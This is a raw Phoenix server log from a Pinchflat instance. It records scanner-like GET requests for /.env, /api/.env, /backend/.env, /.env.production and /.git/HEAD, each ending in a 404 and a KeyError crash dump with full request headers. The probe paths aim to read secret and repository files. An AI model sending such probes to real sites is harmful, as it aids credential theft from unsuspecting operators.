"sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /./ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/./.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" (truncated) 04:52:44.368 [info] GET /backend/.env 04:52:44.368 [info] GET /api/.env 04:52:44.369 [debug] QUERY OK source="settings" db=0.4ms idle=605.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.369 [debug] QUERY OK source="settings" db=0.6ms idle=17.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.370 [debug] QUERY OK source="settings" db=0.4ms idle=18.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.370 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:44.370 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.371 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:44.371 [error] #PID<0.138962.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138962.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw6BOu3vNmGAAAHiD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138962.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_lo (truncated) 04:52:44.372 [error] #PID<0.138961.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138961.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw6BOu4U-vnsADZlh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138961.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} } (truncated) 04:52:44.511 [info] GET /.git/HEAD 04:52:44.511 [info] GET /.env.production 04:52:44.512 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=158.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.512 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=142.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.514 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=143.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.514 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=142.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.514 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:44.514 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:44.515 [error] #PID<0.138963.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138963.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw6jRpZ6vTB4AAHij"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-p (truncated) 04:52:44.515 [error] #PID<0.138964.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138964.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 